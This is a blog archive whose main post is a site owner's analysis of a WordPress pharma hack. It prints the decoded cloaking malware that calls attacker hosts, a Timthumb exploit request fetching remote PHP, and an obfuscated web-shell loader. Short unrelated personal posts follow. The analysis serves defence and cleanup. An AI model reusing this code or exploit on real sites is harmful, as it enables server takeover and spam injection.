I only found out about it because somebody was kind enough to email me to let me know that they saw this on Google:

That’s definitely a link to my website, but what’s happened to the title? Clicking on the link brought up my website, and nothing seemed wrong there – my browser was showing the correct title. It was only Google who were seeing a “spammified” version of the page.

I did a quick search and realised that my site had fallen victim to a version of the WordPress Pharma Hack – a particularly sneaky hack which means everybody apart from Google sees the normal version of your page, meaning that you can be blissfully unaware that you’ve been hacked until you see something odd in your search results.

To solve the problem, you need to see your site as Google sees it. The most accurate way of doing this is to use Google Webmaster Tools. When you log in, under Diagnostics you can go to “Fetch as Googlebot”. I entered the page and waited a few seconds for Google to fetch it, then by clicking the “Success” link I was able to see the HTML that Google was seeing:

Oh dear. Where was that coming from?

I followed the advice on the article I linked to above – deactivating all plugins, then refetching the Google version of the page. No difference – it was obviously not a dodgy plugin that was to blame, and the spammy content was being injected somewhere else.

This would be a pain to debug by repeatedly refetching via Google Webmaster Tools, not least because you can only do a limited number of fetches. It would be much easier if I could see the Googlebot version of the page myself. The way to do this is to change your browser’s user agent string.

I use Chrome as my browser of choice. Despite there being plenty of documentation on the web suggesting that you can pass a “user-agent” parameter into chrome.exe, this no longer seems to work on the latest version of Chrome. Perhaps surprisingly, it was IE9 to the rescue. The debugging tools built in to IE9 are really rather good – just hit F12 and you can go to Tools, then “Change user agent string”, and you can make IE pretend that it’s anything. In my case, I set it to a custom string:

Googlebot/2.1 (+http://www.google.com/bot.html)

and then I loaded my site. Lo and behold, there was the hacked version of my page:

There was also some spammy text inserted into the content further down the page. Not pretty at all.

So, how was this spammy content being generated? I did a few experiments, making a few changes to the page. Any updates I made were not reflected in the hacked version, so this was clearly being served up in its entirety based on an older cached version of the page, rather than inserting spammy links on-the-fly.

I did a few more tests – I wanted to know if this was even coming through WordPress at all, maybe it was some kind of .htaccess hack? I deliberately put syntax errors in core WordPress files, and in the theme files. Breaking WordPress broke the hacked version of the page, but breaking the theme files didn’t. So the hacked code was clearly being run quite early in the page lifecycle, but was definitely within my WordPress PHP files somewhere.

I grabbed a copy of all my WordPress files from the server – the wp-admin, wp-content and wp-includes folders. The article I linked to earlier mentioned that WordPress hacks typically contain functions like “eval” and “base64_decode”, to obfuscate the hack code, so I did quick search through the WordPress files.

Bingo – the top of wp-includes/pluggable.php:

<?php
eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKD ...

I ran the 6KB string through an online base 64 decoder, and here is the code that was being run for every single request to my site:

error_reporting(0);
$bot_list = array("8.6.48","62.172.199","62.27.59","63.163.102","64.157.137","64.157.138","64.233.173","64.68.80","64.68.81","64.68.82","64.68.83","64.68.84","64.68.85","64.68.86","64.68.87","64.68.88","64.68.89","64.68.90","64.68.91","64.68.92","64.75.36","66.163.170","66.163.174","66.196.101","66.196.65","66.196.67","66.196.72","66.196.73","66.196.74","66.196.77","66.196.78","66.196.80","66.196.81","66.196.90","66.196.91","66.196.92","66.196.93","66.196.97","66.196.99","66.218.65","66.218.70","66.228.164","66.228.165","66.228.166","66.228.173","66.228.182","66.249.64","66.249.65","66.249.66","66.249.67","66.249.68","66.249.69","66.249.70","66.249.71","66.249.72","66.249.73","66.249.78","66.249.79","66.94.230","66.94.232","66.94.233","66.94.238","67.195.115","67.195.34","67.195.37","67.195.44","67.195.45","67.195.50","67.195.51","67.195.52","67.195.53","67.195.54","67.195.58","67.195.98","68.142.195","68.142.203","68.142.211","68.142.212","68.142.230","68.142.231","68.142.240","68.142.246","68.142.249","68.142.250","68.142.251","68.180.216","68.180.250","68.180.251","69.147.79","72.14.199","72.30.101","72.30.102","72.30.103","72.30.104","72.30.107","72.30.110","72.30.111","72.30.124","72.30.128","72.30.129","72.30.131","72.30.132","72.30.133","72.30.134","72.30.135","72.30.142","72.30.161","72.30.177","72.30.179","72.30.213","72.30.214","72.30.215","72.30.216","72.30.221","72.30.226","72.30.252","72.30.54","72.30.56","72.30.60","72.30.61","72.30.65","72.30.78","72.30.79","72.30.81","72.30.87","72.30.9","72.30.97","72.30.98","72.30.99","74.6.11","74.6.12","74.6.13","74.6.131","74.6.16","74.6.17","74.6.18","74.6.19","74.6.20","74.6.21","74.6.22","74.6.23","74.6.24","74.6.240","74.6.25","74.6.26","74.6.27","74.6.28","74.6.29","74.6.30","74.6.31","74.6.65","74.6.66","74.6.67","74.6.68","74.6.69","74.6.7","74.6.70","74.6.71","74.6.72","74.6.73","74.6.74","74.6.75","74.6.76","74.6.79","74.6.8","74.6.85","74.6.86","74.6.87","74.6.9","74.55.27","141.185.209","169.207.238","199.177.18","202.160.178","202.160.179","202.160.180","202.160.181","202.160.183","202.160.185","202.165.96","202.165.98","202.165.99","202.212.5","202.46.19","203.123.188","203.141.52","203.255.234","206.190.43","207.126.239","209.1.12","209.1.13","209.1.32","209.1.38","209.131.40","209.131.41","209.131.48","209.131.49","209.131.50","209.131.51","209.131.60","209.131.62","209.185.108","209.185.122","209.185.141","209.185.143","209.185.253","209.191.123","209.191.64","209.191.65","209.191.82","209.191.83","209.67.206","209.73.176","209.85.238","211.14.8","211.169.241","213.216.143","216.109.121","216.109.126","216.136.233","216.145.58","216.155.198","216.155.200","216.155.202","216.155.204","216.239.193","216.239.33","216.239.37","216.239.39","216.239.41","216.239.45","216.239.46","216.239.51","216.239.53","216.239.57","216.239.59","216.32.237","216.33.229","174.129.130","174.129.66","85.17.19");
$ip = preg_replace("/\.(\d+)$/", '', $_SERVER["REMOTE_ADDR"]);
$agent = $_SERVER["HTTP_USER_AGENT"];

	if ($_GET["testd"]=="ok") { print "ok!"; exit; }

if(in_array($ip, $bot_list) || strpos($agent, "bot"))	{
	if ($_SERVER["QUERY_STRING"]=="q") { print "ok!"; exit; }

	$page=urlencode("http://".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"]);
	$outsourceurl=base64_decode('aHR0cDovL2dsYXZnZW4uY29tL2dldC5waHA/c2l0ZT0=').urlencode($_SERVER['HTTP_HOST']).'&page='.urlencode($_SERVER['REQUEST_URI']).'&ip='.urlencode($_SERVER['REMOTE_ADDR']).'&agent='.urlencode($_SERVER['HTTP_USER_AGENT']);
	if (function_exists("curl_init")) {
	$c = curl_init();
	curl_setopt($c, CURLOPT_URL, $outsourceurl);
	curl_setopt($c, CURLOPT_RETURNTRANSFER, true);
	$out = curl_exec($c);
	curl_close($c);
	} else {
	$out = file_get_contents($outsourceurl);
	}
	if (substr($out,0,3) == "OK!") { echo substr($out,4); die; }
}

if (preg_match('/live|msn|yahoo|google|ask|aol/', $_SERVER["HTTP_REFERER"])) {
	$tabs = array ('viagra','cialis','levitra','propecia','prozac','xenical','soma','zoloft','tamiflu','sildenafil','tadalafil','vardenafil','finasteride','hoodia','acomplia','phentermine','adipex','tramadol','ultram','xanax','valium','ambien','ativan','vicodin','hoodia','acomplia');
	$niche='unknown';
	foreach($tabs as $tab)	{
		if(preg_match("/$tab/i", $_SERVER["HTTP_REFERER"]))	{
			$niche = $tab;
		}
	}
	if ($niche!="unknown") {
		$urlsutra = base64_decode('aHR0cDovL2tsaWtjZW50cmFsLmNvbS90cmFmZmljL2luLmNnaT8xMSZwYXJhbWV0ZXI9');
	if (false == ($str=file_get_contents($urlsutra.$niche."&seoref=".$_SERVER["HTTP_REFERER"]."&HTTP_REFERER=".$_SERVER['HTTP_HOST']))) {
    header("location: ".$urlsutra.$niche."&seoref=".$_SERVER["HTTP_REFERER"]."&HTTP_REFERER=".$_SERVER['HTTP_HOST']);
    exit;
    } else {
    echo $str;
    exit;
    }
	}
}

What does this do? Well, for every request, it checks to see if the request came from a known search engine bot (such as Googlebot). If it does, the web server makes a request to a server controlled by the hacker, to get the spammified content for that page. In this case the hacker’s server is again a base64 encoded string which resolves to the domain glavgen.com.

A quick search for this domain on Google brings up a page entitled “WordPress Timthumb Viagra Attack : klikcentral.com / glavgen.com” and following links there brought me to a page about the Timthumb vulnerability.

It’s not a WordPress security vulnerability exactly, but a lot of WordPress theme files include the open-source Timthumb library, and at the beginning of August 2011 it was discovered that this library contains a vulnerability allowing anybody to upload any PHP file to your server.

Now I must confess that this rang a bell. When I was redeveloping my website with WordPress earlier this year, I was in the market for a nice-looking theme which I could adapt to make it look as good as possible. I signed up with a couple of theme sites, ElegantThemes and SimpleThemes.

I’d had an email from ElegantThemes on 4th August, a couple of days after the vulnerability was discovered. It warned that their themes used this vulnerable script, and that it would be a very good idea to update any of their themes I had installed to the latest versions from their site.

Well, I had the site up and running by this time, but I’d used SimpleThemes instead. I didn’t have any ElegantThemes themes installed on the server.

Guess what? SimpleThemes were using the same vulnerable script. But I never received a similar email from them.

Cleaning Up

Now to tidy up my web server. It was straightforward to remove the hack code from pluggable.php, and to download the updated version of Timthumb to replace the vulnerable version that was bundled with my WordPress theme.

But how exactly had the hacker exploited the vulnerable Timthumb to update my pluggable.php? It was important to find out, otherwise there could be intermediate files left on my web server which could be easily used to re-hack it.

I wanted to identify exactly when the hack had taken place. I tend to download my web server log files fairly regularly, although unfortunately not every single day, and my web host only had copies going back a couple of months. It turned out that I was at least able to verify that it was indeed the vulnerable thumbs.php that was exploited – this line in my log file was the giveaway:

88.198.51.36 - - [08/Aug/2011:04:39:45 +0200] "GET /wp-content/themes/impacto/thumb.php?src=http://picasa.com12345.dyndns.org/1.php HTTP/1.1" 400 153 www.textadventures.co.uk "-" "MSIE 7.0" "-"

So my server had been hacked on 8th August – only a week after the vulnerability was disclosed. If I’d been using ElegantThemes, and had acted as soon as I got their email on 4th August, I’d have been safe, but it shows how quickly people need respond to announcements of these kinds of vulnerabilities, and by “people” I mean both theme providers and the users of those themes.

In the cache directory was the PHP that had been uploaded by the hacker. It looks like this (line breaks added for some clarity):

<?php $auth_pass = "47a85"."6c68e623468d"."84123e878"."81d1e3";
$color = "#df5";$default_action = 'File'.'sMan';$default_use_ajax = true;
$default_charset = 'Windo'.'ws-1'.'251';
preg_replace("/.*/e","ev" . "al(gz" . "inf" . "late(bas" . "e64_de" .
"co" . "de('5b1pdxrHEjD82fec+x9aE24GYoQA2bkOEli2LNlybMnR4lV+yAADT ...

Another obfuscated base64 encoded file, but this time with the extra sneakiness of using string concatenation to mask the calls to “eval” and “base64_decode”. Even running the encoded text through an online decoder is no help, as it’s GZ compressed into the bargain.

I’m not sure exactly when the hacker ran his uploaded PHP script, as I think that is missing from my log files as I probably didn’t download that one at the time. I found another few hits from the same IP about a month later though, so this is clearly something they take their time over and keep quiet about.

The result of decoding the text is another PHP script. I ran this on a virtual machine to see what it did, and it’s a hacking tool called WSO 2.4 which gives the hacker full control over pretty much everything:

Using this tool they can edit any file, have full console access, run SQL and PHP commands, and even change the timestamp on files so you won’t even know they’ve been there.

I deleted the cache folder. I also ran “grep” over all files on my web server to look for a few key words from the WSO 2.4 file, to ensure that no trace of it had been left anywhere on the server.

Summary of the attack

So, in summary, here is how the attack worked:

• My WordPress theme, created by SimpleThemes, was using a vulnerable third-party library
• SimpleThemes, unlike at least one rival company, do not appear to have taken steps to inform their customers that their WordPress installations are vulnerable
• As a result, a hacker scanning servers for this vulnerability was able to upload their own PHP file to my server
• This PHP file is cleverly obfuscated, even hiding its use of “standard” hacking functions such as “eval” and “base64_decode”
• Some time after this PHP was uploaded, the attacker sent a request to my server to cause it to be run
• This caused the PHP code within it to be extracted, installing the “WSO 2.4″ back-door tool onto the server
• This tool gives full access to the hacker to modify files. At some time, possibly weeks after installing WSO 2.4, they used it to modify a core WordPress file (pluggable.php)
• This core WordPress file had an obfuscated function call added to it. Every page request to the server caused this function to run
• The function would check to see if the page request originated from a bot. If it didn’t, the normal page output was displayed to the user, so nobody would know anything was wrong.
• If the page request did originate from a bot, a remote call was made to a separate server under the hacker’s control. This server responded with a snapshot of the original page, modified to change the <title> tag and insert spammy text and links
• This meant that Google results which returned my website had strange spammy titles
• It was only thanks to the kindness of a stranger that I was informed about this at all.

Lessons Learned

I’ve never had a website hacked before. In fact I don’t recall ever being the victim of anything like this – no computer viruses or other malware have ever made their way onto my machines (to the best of my knowledge and memory anyway). I’m usually pretty careful about security, installing updates as soon as they’re available, so it was gut-wrenching to discover that a server under my control had fallen victim to a hacker.

There are many levels of sneakiness to this attack, and there must be thousands of websites out there who have fallen victim to the same thing, but currently have absolutely no idea about it.

By exploiting a vulnerability not in WordPress itself, but in a file commonly installed with WordPress themes, the hackers have a good proportion of the reach of a “native” WordPress attack, but there is no WordPress patch than can ever fix this. Instead you have to rely on your theme provider to notify you of the problem, and clearly the message has not got through to all of them.

Once you’ve been hacked, you’ll have no idea about it, as the hackers take pains to not draw attention to themselves. You can use your own website normally and have no clue that there is anything wrong. But behind the scenes, a hacker can be adding obfuscated functions to your PHP files, controlling exactly what your web server displays to which visitors.

In this case, they showed a modified version of the page to Google, but there was absolutely nothing to stop them redirecting any visitor anywhere. Porn, malware downloads, phishing attacks – it was all easily in their grasp, but my hackers were keeping quiet.

You may not be so lucky with yours.

So how do you know if you’re vulnerable, or maybe even have already fallen victim?

• Check your WordPress themes folders for timthumb.php and thumb.php files now. This includes inactive themes. The file simply has to exist on the server – that’s it. The hackers scan for common theme folders, so if you’ve got an off-the-shelf theme with this vulnerability, they will find it. If they haven’t already.
• Check your PHP files for suspicious “eval” and “base64_decode” function calls, usually with a big lot of text (though there’s no reason they couldn’t get more sophisticated about this and inject the code in an even more obscure way).
• Check your site with Google Webmaster Tools and also try browsing your site yourself with a Googlebot user agent.

How to prevent this kind of thing?

• You can’t rely on your theme provider to keep you secure. Take a look at the PHP files they’re using, so you know what third-party libraries are in use. Search for known vulnerabilities in these libraries, and if you can, subscribe to their mailing lists so you’ll have early warning if vulnerabilities are discovered.
• Look at the Hardening WordPress instructions. More stringent file permissions may have prevented or at least mitigated this problem.
• Monitor your site. I could have probably spotted the flood of suspicious requests to thumb.php if I’d thought to look. Also it’s a good idea to check your site every so often, both as a regular user and by pretending to be Googlebot.

If you have any more suggestions, I’d love to hear them in the comments!

I have reported the issue to SimpleThemes. At least one person on their forums has already posted about this, but there are no replies (and I can’t add one, presumably as my account has expired). I will update this post if and when I hear back from them.

Stay safe out there…

Update 1st Dec 2011:

Some good comments below, and loads more over at reddit.

SimpleThemes wrote back to me, with the latest fixed theme files. Apparently they sent out an email warning about the exploit the week it was announced (didn’t say which date), and they updated the theme on 22nd August (this was after my site had been compromised). I never received an email though, and I’ve asked them why. I wonder if it is because my account with them had expired by this point – but if this is the case, in my view they should still have notified their “previous” customers about such a serious security vulnerability, even if they’re “out of support”. I will update this post again if I get clarification.

Is this becoming a habit? My greatest weakness, boredom, has reared its head rather rapidly again, and I’ve found myself working through a notice period for the second time in less than twelve months.

How did I manage to find myself in the same situation again? I left my previous employer at the end of July last year, and wrote at the time that I wanted to mix things up a bit, alternating between contracting and working on my own software business.

Well, now I’m going to have a second try at making that plan work. I’m not going to rush into job hunting like I did last time – in fact, I’m not even going to look for a job at all for a while. I want to devote my time to my own business, Axe Software, and see where it takes me.

The seemingly insane thing about my plan is that Axe Software is currently making much less money than ever – I’ve recently stopped charging for my text adventure game engine, Quest, and I’m working on the new version 5.0 as free open-source software.

That sounds mad – “giving up your job to work on software that you’re just going to give away? What the fuck is wrong with you? I’m OUT!” Well, I think it makes much more sense in the long term. Read my blog post on making the switch to open source for full details, but basically the software has to be free to compete with the other systems that are out there – not only are pretty much all of Quest’s competitors free, but historically they’ve been more powerful too.

By making Quest both free (done) and totally kick-ass (to do), I’m hoping to make it appeal to many more users. So, perhaps this means in future there may be more opportunities for me to do paid-for customisations, for example. Perhaps there are ways of making money from other services that fit around Quest. Whatever, it doesn’t actually matter – even if I never make a penny from it directly, I think it will be a great demonstration of the kind of work that I do – something that will make me stand out in the next round of job applications. Having all the code easily viewable on CodePlex means future employers will have the ability to examine my work in considerable detail – every aspect of a large software project that I have designed, architected, coded, delivered, and is actually enjoyed by people who choose to use it. If an employer is not interested in that, it’s unlikely I’m interested in working for them.

But most importantly, it’s what I want to do. I really want to build this software, and I have the opportunity – I have enough savings that I don’t need to worry about earning a salary for a (little) while, and it seems almost irresponsible not to make the most of that. Does that make me sound like a colossal wanker? I hope not.

My employment comes to an end at the beginning of April, and I’m looking forward to it. Am I going to put my feet up and relax with my new-found freedom? Fuck, no. I’m going to be working – hard, much harder than I have ever worked before, to create some great software.

[Photo credit: "Please Try Again <3" by Smath.]

Arriving at the Odeon bleary-eyed yesterday morning, I knew I was in the right place when saw a long queue of poorly dressed men – I blended in seamlessly.

Presentations without boredom

[image by Jeff Sandquist]

Scott Guthrie is the man in charge of the .NET teams at Microsoft, and spent three quarters of the day doing presentations. It must have been pretty gruelling, but he didn’t show it – and he really knows his stuff, eschewing slides almost completely for a very hands-on style, mostly writing code in Visual Studio and answering questions as we went along. He’s a hugely effective presenter, and I just wish more people would learn that making a presentation isn’t all about knocking together slides in PowerPoint and then reading out each bullet point in a monotone.

The first session covered Visual Studio 2010 – a mix of new features, such as the improved IntelliSense, plus old features that surprisingly many people haven’t heard of, such as conditonal breakpoints. He also talked for a while about the new IntelliTrace debugging and automatic diagramming features which are sadly only available in the seriously expensive versions – a shame as it looks like these could be a real productivity boost for a lot of programmers. I’m still waiting to get my hands on VS2010 myself, as for some reason it’s taking Microsoft weeks and weeks to process my new Action Pack subscription.

By the end of the first session we were already overrunning massively, and everybody was in desperate need for some fresh air, a trip to the toilet and some coffee. If the Odeon had been prepared, they would have known that 250 developers logically entails a requirement for 250 lattes, but clearly this had been missed somehow as a huge queue quickly developed at the tiny coffee bar, with only one member of staff and the world’s slowest coffee machine.

ASP.NET MVC, 1, 2 and 3

Sessions two and four were all about ASP.NET MVC. This is a framework that sits on top of ASP.NET and provides a quite amazingly neat and elegant way of building web-based applications. I didn’t know anything about it before, but there was a good quick introduction before diving into the new stuff in versions 2 and 3, so I now feel like I’m up to speed and am quite keen to have a play with it – if only Microsoft would hurry up with letting me access the software I’ve ordered…

Instead of a load of slides, the presentation was entirely in Visual Studio, taking us from starting a new ASP.NET MVC project. “What kind of website shall we make?” asked Scott. “An event registration site” was the highly appropriate response, and Scott took us through creating the web application from scratch. He covered a huge amount of functionality in the way that makes the most sense to programmers – by actually writing code. Not only was it a great way of covering lots of material, the fact that he could cover so much during the sessions is testament to how well-designed the MVC framework is – it’s really very quick to start putting things together.

Windows Phone 7

To give Scott a bit of a break from presenting, between the two ASP.NET MVC sessions Mike Ormond stepped in to talk about developing applications for Microsoft’s forthcoming Windows Phone 7 platform. It was a mixture of slides and a more hands-on demonstration, as he demonstrated writing a simple game which he then showed working on both an emulator and an actual prototype phone.

The presentation was good but I was left feeling underwhelmed by the product itself. Despite the name, Microsoft has effectively thrown away its old phone platform to start again, so it’s very much a “1.0″ product at the moment. Unfortunately they seem to have taken all the worst bits of the iPhone and then added in some extra limitations of their own. Like Apple, they will be controlling the “Marketplace” (equivalent of the App Store) so they won’t accept certain types of applications. Like Apple, you can’t do proper multi-tasking – the phone will quit applications when you switch to another one, and as a developer you have to manually write code for saving the application’s state. Even the process of using the camera within an application causes it to restart, which seems very cumbersome. And for the moment they’ve even locked down things such as access to the camera flash LED, meaning no flashlight applications are allowed. This just seems dumb.

One of the positive things to come from Apple’s control freakery is that at least mobile network operators can’t stuff the phone with crappy applications themselves, but there are no such limitations on Windows Phone 7. Network operators have more power than ordinary developers, as they will be able to create proper native applications instead of the Silverlight and XNA apps that other developers will be limited to.

They have also taken some decisions with the interface that they probably think of as “innovative”, but I would describe as “strange”. For example, instead of the iPhone’s single “home” button, there is a “back” button which will navigate back through your app, until you reach the first page when it will quit. But there’s also a “Start” button which takes you back to the app launcher. I can’t see the advantage of the additional hardware button here – the iPhone approach of having all app navigation in the touchscreen works perfectly well, so I wonder if Microsoft are forced to go this way to avoid stepping on one of Apple’s many patents.

I have doubts about the “panorama” interface, as shown in the picture above. It looks like this just makes a lot of the menus hard to find – it will be interesting to see how well this works on the devices when they appear later this year.

In summary, I find it hard to see Windows Phone 7 taking off. It would have been a great product five years ago, but Microsoft is clearly desperately chasing Apple and Android and is way behind. I like the idea of .NET on a mobile device – it would certainly make it easier for me to port my own existing applications to a mobile phone – but there’s nothing (yet) that makes it stand out in any area ahead of the competition, so any mobile app developer is going to have an extremely limited potential user base. It’s too little, too late.

Just before leaving, I sent out the routine email with my contact details and a list of my various websites (this one, Axe Software, Facebook, LinkedIn profiles etc.). Unfortunately, the most recent article at the top of this site was How to lose staff and make your software company fail which is rather negative about the company I’ve just left. My boss was not particularly happy about this.

Woops. I did think twice before including the link to alexwarren.co.uk but concluded:

• I was linking to this site in general, not that article specifically
• I didn’t want to delete the article
• I did want people to know about my personal blog
• This blog is linked from the Facebook and LinkedIn profiles anyway
• I still stand by that particular article, as I’d never have published it otherwise
• Many of my colleagues had already seen the article
• The views I expressed in that article would not have come as any surprise
• I’d already discussed many of the points in that article both with my boss and with the head of development

So, it was sad that my most recent article was so negative (perhaps it’s an indication that I should blog more often so that I don’t leave negative articles hanging around at the top of the page for long). And maybe I could have chosen a less pejorative, less melodramatic title – but that was how I felt at the time I wrote the article, and I didn’t want to edit history.

But in the interest of balance, I should point out that things are beginning to change at the company. They have begun to listen to what people like me are saying, and are starting to put things in place in an effort to make it a better place to work.

After writing that blog post, I emailed the head of development to give him some feedback, and I made the same points that I’d made in the blog – that if more effort wasn’t made very soon to migrate properly to .net, the company will have massive problems in the future. I was a bit trepidatious about sending the email – after all, it takes some balls to criticise senior management – but I thought it needed saying and I was interested in what kind of response I’d get. I didn’t have much to lose anyway.

I was pleased that the head of development took the time to construct a proper response, and we had quite a lengthy exchange of emails. Obviously he was never going to fully agree with me and immediately initiate a big project to undertake a big migration, but from what people have told me it’s suddenly become a much higher priority, and the head of development has suddenly taken a much greater interest in the state of the existing codebase. It seems that for whatever reason he wasn’t fully aware of the scale of the problem before. So emailing him had turned out to be a very good idea.

And it’s not just my complaints that are being listened to. From the private conversations I’ve had, it looks like they are beginning to listen to other developers and are willing to implement their suggested changes to make things better.

So, expressing negative opinions can lead to positive results. Indeed, how can problems be fixed if nobody expresses the problems in the first place? Surely it’s worse to keep these kinds of things to yourself?

Of course the real reason my boss was upset to click through my leaving email and see that post there was that it’s so public. He was unhappy that I hadn’t expressed these views in private before blogging about them. But often it’s only through writing things properly that one can clearly arrange one’s thoughts and come to a proper viewpoint in the first place. And there’s not much motivation to write properly if you don’t have an audience. Without that blog post, I would have found it harder to express my views to the people that could do something about them.

I want to continue blogging about my software development experiences. Inevitably many of those experiences will be negative, because those are the most interesting ones to write about. I expect these experiences are hardly unique – there must be huge numbers of software companies and developers facing similar problems. That’s what I hope will make this blog valuable over the coming months and years as I continue to write about the world of software.

Where things are negative, there is the potential for making things better, and if I have an idea for making things better, I want to implement it – or at least share it. What could be more positive than that?

Since I’m not working on a big project at the moment, I don’t have anything to hand over, so I don’t even get the satisfaction of wrapping things up and handing them on to someone else. Instead I’m plodding along, counting down the days until I can leave.

As software developers, we need varied work with a sense of purpose. Giving staff nothing to do but bug fixing for months is a good way of filtering good developers out of your organisation.

With no real goal in sight, there’s no feeling that things are moving forward, and working life becomes an unrelenting march, bug bug bug bug, bug bug bug bug, bug bug bug bug. Every day is much like every other day, and they merge in the memory. Weeks skip by with nothing to identify them except for the management’s statistics on how many bugs you’ve fixed. The idea of introducing these statistics was, I presume, to encourage people to work harder, but it’s pretty demoralising when your entire week is distilled down to “10 bugs fixed, 1 test failure”. That’s not a way of getting the best out of your developers, that’s a way of getting your best developers out.

The latest missive from senior management tells us the strategy for the next year or so is to focus even more effort on bug fixing, at the expense of work to enhance the product. While there are certainly plenty of bugs to be fixed, I strongly feel that there also needs to be an investment made into fundamental refactoring and redevelopment of the software – the company is storing up problems for the future otherwise. So much of the system is written using crappy old VB6 – moving over to .net will take many years, and putting it off means it’s going to be harder to recruit and retain good developers. They’ll be paying premium rates for the kind of developers who don’t have an interest in technology or creating good software – they need to invest now to stop that happening.

The current strategy will undoubtedly save money in the short term, but failing to invest in your future is a terrible mistake.

But at least I now know I have made the correct decision, because I’m not afraid of making the effort to invest in mine.

So, after three years for my current employer I’ve handed in my notice. I’ve certainly improved a lot as a software developer since I got there, but the pace of improvement has slowed a lot recently so it’s time to move on.

I’ve decided to seek out temporary contracts instead of permanent employment. That should keep the boredom levels down, give me a nice variety of different work – and let me spend time between contracts building up my software business Axe Software. Yes, you may not think that text adventure games are the future, but you’ll see. Eventually. Perhaps.

It will be a bit more hassle – regular job interviews, the administrative overhead of setting up a limited company, and reduced job security, but really, overall it’s a no-brainer. I wish I’d thought of it sooner!

So, I have two questions – anyone need an awesome C# developer starting in August for, say, six months? And does anybody know a good accountant?

Step 1: A Positive Outlook

Yes, maybe you think January is actually a rubbish time to stop your life from being crap. It’s dark and cold, and the memories of a loving, laughter-filled and delicious Christmas are fading, to be replaced by the cold reality of your fat, grey reflection staring back at you in the bathroom mirror.

That’s why it’s time to Think Positive! Yes, you really can ignore reality if you just delude yourself enough! Turn that frown upside down! Those tears are tears of joy! You’re not fat, just cuddly! You’re not ugly, you just have an interesting face! You’re not sad and alone in a big scary world full of people you wish would die – you’re just independent!

At the end of every day, try to think of three good things that have happened to you that day. For example, although today has been a fairly average day for me, I can easily think of three good things about it:

• Today I wasn’t brutally murdered by an escaped maniac!
• I managed to eat all my breakfast without spilling any down myself! Shame about the cup of tea I had afterwards though.
• I got a letter! That shows there’s someone out there who cares! Even though it was an unscrupulous debt collection agency. Still, as they said themselves, it would be a real shame if something bad happened to my house – they’re such caring souls!

Step 2: Rebrand Yourself

So now you’re positive on the inside – it’s time to get positive on the outside too. Cast off your old name and go forth into the brave new world with a moniker that tells everybody who you are, and why you’re so great!

I hired a cutting-edge but cheap advertising agency to come up with a new brand. After several minutes of blue-sky thinking and meticulous market research, I now have a new identity to present to the world. Say goodbye to plain old “Alex Warren”, say hello to “Alexwar^® sponsored by Anusol”.

Step 3: Change Your Look

Hey, you with the stupid noughties face! Announce your new life to the world with a fresh new look…

Step 4: Give Up Alcohol

You might think that the best way to while away the bleak winter months would be to drink so heavily that you spend much of this early part of the year completely unconscious, and the rest of it utterly oblivious to the misery that surrounds you. Not so! We’re thinking positive, remember? You don’t need alcohol to lull you into your new happy-go-lucky way of life, you just need a mantra.

So, next time you find yourself reaching for that bottle of vodka, just sit down and repeat to yourself, “I’m happy, I’m happy, I’m happy, I’m happy, I’m happy, I’m happy, I’m so very happy, I’m happy, I’m happy, so very happy, happy, happy, everything is fine, everything is fine, everything is fine, everything is fine, everything is fine, I’m happy, I’m not crying, I will be OK, I’m fine, everything is fine, everything is fine” while rocking gently back and forth.

Step 5: A New Career

After following the above steps, you’ll probably turn up to work and realise that it just isn’t fulfilling you any more. And, by complete coincidence, you may find that your current place of employment are more than willing to let you seek out a new life elsewhere. They’ll be simply begging you to leave!

Perhaps you’ll find the job of dreams out there. Maybe you’ll decide that 2010 is the year for nothing but quiet contemplation, perhaps alone in a bedsit or some kind of hospital?

Step 6: Save Money

With your new direction, you’ll have a lot less money coming in, and you won’t be able to rely on your old friends to support you, because they will have stopped speaking to you. But they were useless anyway! They were holding you back, and you don’t want to return to your old ways now – you’ve come too far. Just think positive.

• Save on transport costs by walking everywhere, or just going nowhere!
• Eat less! You’ll save money, and not be quite so hideously fat!
• Stop washing your clothes! You may stink, but nobody will complain since nobody talks to you any more anyway! And we all like a bit of peace and quiet – so there’s a bonus!

Step 7: Your New Life Awaits

If you’ve followed this guide, you’ll have transformed from a sad, unloved, repugnant waste of space into a much happier one.

May all your dreams come true in 2010 (except those induced by heavy medication).

There’s something disturbing about it. Leaving aside for a moment the fact that the range is called “Nude Inspiration”, yet the model is wearing thick, dark, make-up, there’s just something… erm, wrong about her eyes.

Is this a Photoshop disaster? Admittedly not quite as bad as Ralph Lauren‘s, but possibly more disturbing for being subtle.

Or is it just a trick of perspective?

Whichever, to me her eyes are either not at quite the same level, or one is closer to the centre of her face than the other.

Oh and her mouth is fucked up too.

I really wanted to pick up some duck kidneys but UK customs forbid importing meat from outside the EU. So, I had to make do with some other weird-looking “treats”, and they turned out to be almost as off-putting.

Usually whenever an email goes out about free food, there is a stampede and very quickly nothing is left. You’d think my colleagues never got fed. This time though, a few hovered around my desk, poking the sweets curiously and only a brave few were tempted to try one, with some trepidation.

It turns out that these sweets are more bizarre and disgusting than most of the food I tried while I was in Hong Kong. “Highlights” of my particular bag of delights were:

• Liquorice Wampee – this didn’t taste at all of liquorice. You know when you’re visiting a stately home and there’s that kind of musty, old-fashioned smell? These sweets taste like that. It’s like eating Henry VIII’s duvet.
• Ginseng Candy – “like sucking on an incense stick”, said one of my colleagues. I think it was more like licking a school hall floor – kind of woody.
• Honey Plum – “sweets aren’t supposed to be salty are they?” said a co-worker, before spitting out the enormous seed into a nearby bin.
• A salty plum stone in a bland boiled sweet which looked like an eyeball – “the worst thing I’ve ever tasted” was one comment, which wasn’t far off the mark. Bizarre and disgusting.
• Lemon tea – this was actually quite pleasant. It was odd to have a sweet that tasted of tea, but it did a great job of refreshing the palate after eating one of the other ones.
• Preserved strawberries – these were OK. They were just dried-out strawberries, so no unpleasant surprises there.
• Preserved spiced olive – this sounded like it would be hideous, but it was surprisingly nice – not much of an olive flavour thankfully, just an interestingly tasty mix of sweetness and spice with a hint of savoury.
• Hawthorne Cake – a sugary wafer, not too bad.
• Iced hawthorne – just like a sheet of fruit gum.

There were some great grimaces as people munched on what has to be the most unpopular office treat we’ve seen for some time. Mission accomplished!

Here are the leftovers…

We got up for breakfast at the Rio hotel, which was an extensive buffet of the usual hotel breakfast fare. All perfectly fine, but we could have done without the panpipe instrumental cover versions of Andrew Lloyd Webber and Bryan Adams being piped into the restaurant – although perhaps, for those who had lost large amounts in the casino the night before, it was the perfect soundtrack for them to weep into their morning coffees.

